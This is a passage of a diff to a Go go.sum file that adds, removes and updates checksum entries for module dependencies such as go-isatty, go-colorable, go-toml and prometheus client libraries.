h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= +github.com/juju/gnuflag v0.0.0-20171113085948-2ce1bb71843d/go.mod h1:2PavIy+JPciBPrBUjwbNvtwB6RQlve+hkpll6QSNmOE= github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= -github.com/jung-kurt/gofpdf v1.0.0/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= -github.com/jung-kurt/gofpdf v1.0.3-0.20190309125859-24315acbbda5/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= -github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= -github.com/klauspost/asmfmt v1.3.2/go.mod h1:AG8TuvYojzulgDAMCnYn50l/5QV3Bs/tp6j0HLHbNSE= -github.com/klauspost/compress v1.15.9/go.mod h1:PhcZ0MbTNciWF3rruxRgKxI5NkcHHrHUDtV4Yw2GlzU= -github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= @@ -1180,86 +302,52 @@ github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= -github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= -github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= -github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= -github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= -github.com/labstack/echo/v4 v4.2.1/go.mod h1:AA49e0DZ8kk5jTOOCKNuPR6oTnBS0dYiM4FW1e6jwpg= -github.com/labstack/gommon v0.3.0/go.mod h1:MULnywXg0yavhxWKc+lOruYdAhDwPK9wf0OL7NoOu+k= github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw= github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= -github.com/lyft/protoc-gen-star v0.6.0/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= -github.com/lyft/protoc-gen-star v0.6.1/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= -github.com/lyft/protoc-gen-star/v2 v2.0.1/go.mod h1:RcCdONR2ScXaYnQC5tUzxzlpA3WVYF7/opLeUgcQs/o= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= -github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= -github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= -github.com/matryer/moq v0.0.0-20190312154309-6cfb0558e1bd/go.mod h1:9ELz6aaclSIGnZBoaSLZ3NAl1VTufbOrXBPvtcy6WiQ= -github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= -github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= -github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= -github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= -github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= -github.com/mattn/go-colorable v0.1.12 h1:jF+Du6AlPIjs2BiUiQlKOX0rt3SujHxPnksPKZbaA40= -github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= -github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= +github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= +github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= -github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= -github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ= -github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= -github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= -github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= -github.com/mattn/go-isatty v0.0.17 h1:BTarxUcIeDqL27Mc+vyvdWYSL28zpIhv3RoTdsLMPng= -github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA= +github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= -github.com/mattn/go-sqlite3 v1.14.14/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU= -github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg= github.com/mattn/goveralls v0.0.11 h1:eJXea6R6IFlL1QMKNMzDvvHv/hwGrnvyig4N+0+XiMM= github.com/mattn/goveralls v0.0.11/go.mod h1:gU8SyhNswsJKchEV93xRQxX6X3Ei4PJdQk/6ZHvrvRk= github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= -github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= -github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= -github.com/minio/asm2plan9s v0.0.0-20200509001527-cdd76441f9d8/go.mod h1:mC1jAcsrzbxHt8iiaC+zU4b1ylILSosueou12R++wfY= -github.com/minio/c2goasm v0.0.0-20190812172519-36a3d3bbc4f3/go.mod h1:RagcQ7I8IeTMnF8JTXieKnO4Z6JCsikNEzj0DwauVzE= -github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= -github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= github.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa15WveJJGw= github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= -github.com/mitchellh/go-wordwrap v1.0.0/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= -github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.3.2/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= -github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ= @@ -1278,6 +366,8 @@ github.com/nsf/termbox-go v1.1.1 h1:nksUPLCb73Q++DwbYUBEglYBRPZyoXJdrj5L+TkjyZY= github.com/nsf/termbox-go v1.1.1/go.mod h1:T0cTdVuOwf7pHQNtfhnEbzHbcNyCEcVU4YPpouCbVxo= github.com/o1egl/paseto v1.0.0 h1:bwpvPu2au176w4IBlhbyUv/S5VPptERIA99Oap5qUd0= github.com/o1egl/paseto v1.0.0/go.mod h1:5HxsZPmw/3RI2pAwGo1HhOOwSdvBpcuVzO7uDkm+CLU= +github.com/oapi-codegen/runtime v1.0.0 h1:P4rqFX5fMFWqRzY9M/3YF9+aPSPPB06IzP2P7oOxrWo= +github.com/oapi-codegen/runtime v1.0.0/go.mod h1:LmCUMQuPB4M/nLXilQXhHw+BLZdDb18B34OO356yJ/A= github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= @@ -1286,23 +376,16 @@ github.com/ory/go-acc v0.2.8 h1:rOHHAPQjf0u7eHFGWpiXK+gIu/e0GRSJNr9pDukdNC4= github.com/ory/go-acc v0.2.8/go.mod h1:iCRZUdGb/7nqvSn8xWZkhfVrtXRZ9Wru2E5rabCjFPI= github.com/ory/viper v1.7.5 h1:+xVdq7SU3e1vNaCsk/ixsfxE4zylk1TJUiJrY647jUE= github.com/ory/viper v1.7.5/go.mod h1:ypOuyJmEUb3oENywQZRgeAMwqgOyDqwboO1tj3DjTaM= -github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= -github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pborman/uuid v1.2.0 h1:J7Q5mO4ysT1dv8hyrUGHb9+ooztCXu1D8MY8DZYsu3g= github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= github.com/pelletier/go-toml v1.8.0/go.mod h1:D6yutnOGMveHEPV7VQOuvI/gXY61bv+9bAOTRnLElKs= github.com/pelletier/go-toml v1.9.5 h1:4yBQzkHv+7BHq2PQUZF3Mx0IYxG7LsP222s7Agd3ve8= github.com/pelletier/go-toml v1.9.5/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= -github.com/pelletier/go-toml/v2 v2.0.6 h1:nrzqCb7j9cDFj2coyLNLaZuJTLjWjlaz6nvTvIwycIU= -github.com/pelletier/go-toml/v2 v2.0.6/go.mod h1:eumQOmlWiOPt5WriQQqoM5y18pDHwha2N+QD+EUNTek= +github.com/pelletier/go-toml/v2 v2.0.9 h1:uH2qQXheeefCCkuBBSLi7jCiSmj3VRh2+Goq2N7Xxu0= +github.com/pelletier/go-toml/v2 v2.0.9/go.mod h1:tJU2Z3ZkXwnxa4DPO899bsyIoywizdUvyaeZurnPPDc= github.com/peterh/liner v1.2.1 h1:O4BlKaq/LWu6VRWmol4ByWfzx6MfXc5Op5HETyIy5yg= github.com/peterh/liner v1.2.1/go.mod h1:CRroGNssyjTd/qIG2FyxByd2S8JEAZXBl4qUrZf8GS0= -github.com/phpdave11/gofpdf v1.4.2/go.mod h1:zpO6xFn9yxo3YLyMvW8HcKWVdbNqgIfOOp2dXMnm1mY= -github.com/phpdave11/gofpdi v1.0.12/go.mod h1:vBmVV0Do6hSBHC8uKUQ71JGW+ZGQq74llk/7bXwjDoI= -github.com/phpdave11/gofpdi v1.0.13/go.mod h1:vBmVV0Do6hSBHC8uKUQ71JGW+ZGQq74llk/7bXwjDoI= -github.com/pierrec/lz4/v4 v4.1.15/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4= -github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= @@ -1311,15 +394,11 @@ github.com/pkg/sftp v1.10.1/go.mod h1:lYOWFsE0bwd1+KfKJaKeuokY15vzFx25BLbzYYoAxZ github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= -github.com/posener/complete v1.2.3/go.mod h1:WZIdtGGp+qx0sLrYKtIRAruyNpv6hFCicSgv7Sy7s/s= github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso= github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= -github.com/prometheus/client_golang v1.4.0/go.mod h1:e9GMxYsXl05ICDXkRhurwBS4Q3OK1iX/F2sw+iXX5zU= github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M= github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= -github.com/prometheus/client_golang v1.11.1/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= github.com/prometheus/client_golang v1.12.2 h1:51L9cDoUHVrXx4zWYlcLQIZ+d+VXHgqnYKkIuq4g/34= github.com/prometheus/client_golang v1.12.2/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY= github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= @@ -1327,12 +406,9 @@ github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1: github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M= github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/prometheus/client_model v0.3.0 h1:UBgGFHqYdG/TPFD1B1ogZywDqEkwp3fBMvqdiQ7Xew4= -github.com/prometheus/client_model v0.3.0/go.mod h1:LDGWKZIo7rky3hgvBe+caln+Dr3dPggB5dvjtD7w9+w= github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro= github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= -github.com/prometheus/common v0.9.1/go.mod h1:yhUN8i9wzaXS3w1O07YhxHEBxD+W35wd8bs7vj7HSQ4= github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo= github.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc= github.com/prometheus/common v0.32.1 h1:hWIdL3N2HoUx3B8j3YN9mWor0qhY/NlEKZEaXxuIRh4= @@ -1340,7 +416,6 @@ github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+ github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= -github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A= github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU= github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= github.com/prometheus/procfs v0.7.3 h1:4jVXhlkAyzOScmCkXBTOLRLTz8EeU+eyjrwB/EPq0VU= @@ -1351,15 +426,12 @@ github.com/pseudomuto/protoc-gen-doc v1.4.1/go.mod h1:exDTOVwqpp30eV/EDPFLZy3Pwr github.com/pseudomuto/protokit v0.2.0/go.mod h1:2PdH30hxVHsup8KpBTOXTBeMVhJZVio3Q8ViKSAXT0Q= github.com/pseudomuto/protokit v0.2.1 h1:kCYpE3thoR6Esm0CUvd5xbrDTOZPvQPTDeyXpZfrJdk= github.com/pseudomuto/protokit v0.2.1/go.mod h1:gt7N5Rz2flBzYafvaxyIxMZC0TTF5jDZfRnw25hAAyo= -github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= -github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/robfig/cron v1.2.0/go.mod h1:JGuDeoQd7Z6yL4zQhZ3OPEVHB7fL6Ka6skscFHfmt2k= github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= -github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ= @@ -1370,15 +442,9 @@ github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThC github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/ruudk/golang-pdf417 v0.0.0-20181029194003-1af4ab5afa58/go.mod h1:6lfFZQK844Gfx8o5WFuvpxWRwnSoipWe/p622j1v06w= -github.com/ruudk/golang-pdf417 v0.0.0-20201230142125-a7e3863a1245/go.mod h1:pQAZKsJ8yyVxGRWYNEm9oFB8ieLgKFnamEyDmSA0BRk= -github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= -github.com/ryanuber/columnize v2.1.0+incompatible/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= -github.com/sagikazarmark/crypt v0.9.0/go.mod h1:RnH7sEhxfdnPm1z+XMgSLjWTEIjyK4z2dw6+4vHTMuo= github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= github.com/schollz/progressbar/v2 v2.15.0 